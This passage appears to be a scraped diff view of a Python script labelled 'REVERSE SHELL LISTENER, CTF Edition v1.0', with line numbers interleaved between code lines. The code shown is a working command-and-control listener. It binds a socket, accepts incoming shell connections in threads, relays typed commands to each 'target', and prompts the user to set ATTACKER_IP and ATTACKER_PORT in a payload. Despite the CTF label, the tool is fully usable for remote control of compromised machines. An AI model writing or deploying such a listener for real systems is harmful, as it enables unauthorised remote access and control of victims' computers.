|
+
|
|
64
|
+
except Exception as e:
|
|
65
|
+
log(f"Error receiving data: {e}")
|
|
66
|
+
break
|
|
67
|
+
|
|
68
|
+
try:
|
|
69
|
+
conn.close()
|
|
70
|
+
except:
|
|
71
|
+
pass
|
|
72
|
+
|
|
73
|
+
def send_data():
|
|
74
|
+
"""Send commands to target"""
|
|
75
|
+
while True:
|
|
76
|
+
try:
|
|
77
|
+
cmd = input()
|
|
78
|
+
if cmd.lower() in ['exit', 'quit']:
|
|
79
|
+
log("Closing connection...")
|
|
80
|
+
break
|
|
81
|
+
|
|
82
|
+
conn.send((cmd + '\n').encode())
|
|
83
|
+
|
|
84
|
+
except EOFError:
|
|
85
|
+
break
|
|
86
|
+
except Exception as e:
|
|
87
|
+
log(f"Error sending data: {e}")
|
|
88
|
+
break
|
|
89
|
+
|
|
90
|
+
try:
|
|
91
|
+
conn.close()
|
|
92
|
+
except:
|
|
93
|
+
pass
|
|
94
|
+
|
|
95
|
+
# Start threads for bidirectional communication
|
|
96
|
+
recv_thread = threading.Thread(target=receive_data, daemon=True)
|
|
97
|
+
send_thread = threading.Thread(target=send_data, daemon=True)
|
|
98
|
+
|
|
99
|
+
recv_thread.start()
|
|
100
|
+
send_thread.start()
|
|
101
|
+
|
|
102
|
+
# Wait for threads to finish
|
|
103
|
+
send_thread.join()
|
|
104
|
+
recv_thread.join()
|
|
105
|
+
|
|
106
|
+
log("Connection closed")
|
|
107
|
+
|
|
108
|
+
def main():
|
|
109
|
+
"""Main listener function"""
|
|
110
|
+
local_ip = get_local_ip()
|
|
111
|
+
|
|
112
|
+
print("""
|
|
113
|
+
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
114
|
+
ā REVERSE SHELL LISTENER ā
|
|
115
|
+
ā CTF Edition v1.0 ā
|
|
116
|
+
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā
|
|
117
|
+
""")
|
|
118
|
+
|
|
119
|
+
log(f"Local IP: {local_ip}")
|
|
120
|
+
log(f"Listening on {HOST}:{PORT}")
|
|
121
|
+
|
|
122
|
+
print("\n[*] Configure your payload with:")
|
|
123
|
+
print(f" ATTACKER_IP = '{local_ip}'")
|
|
124
|
+
print(f" ATTACKER_PORT = {PORT}")
|
|
125
|
+
print("\n[*] Waiting for connections...\n")
|
|
126
|
+
|
|
127
|
+
# Create socket
|
|
128
|
+
try:
|
|
129
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
130
|
+
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
131
|
+
s.bind((HOST, PORT))
|
|
132
|
+
s.listen(5)
|
|
133
|
+
except Exception as e:
|
|
134
|
+
log(f"Error creating listener: {e}")
|
|
135
|
+
sys.exit(1)
|
|
136
|
+
|
|
137
|
+
try:
|
|
138
|
+
while True:
|
|
139
|
+
# Accept connection
|
|
140
|
+
conn, addr = s.accept()
|
|
141
|
+
|
|
142
|
+
# Handle connection in a new thread (for multiple shells)
|
|
143
|
+
handler_thread = threading.Thread(
|
|
144
|
+
target=handle_connection,
|
|
145
|
+
args=(conn, addr),
|
|
146
|
+
daemon=False
|
|
147
|
+
)
|
|
148
|
+
handler_thread.start()
|
|
149
|
+
|
|
150
|
+
except KeyboardInterrupt:
|
|
151
|
+
log("\nShutting down listener...")
|
|
152
|
+
except Exception as e:
|
|
153
|
+
log(f"Error: {e}")
|
|
154
|
+
finally:
|
|
155
|
+
s.close()
|
|
156
|
+
|
|
157
|
+
if __name__ == "__main__":
|
|
158
|
+
main()
|
|
159
|
+
|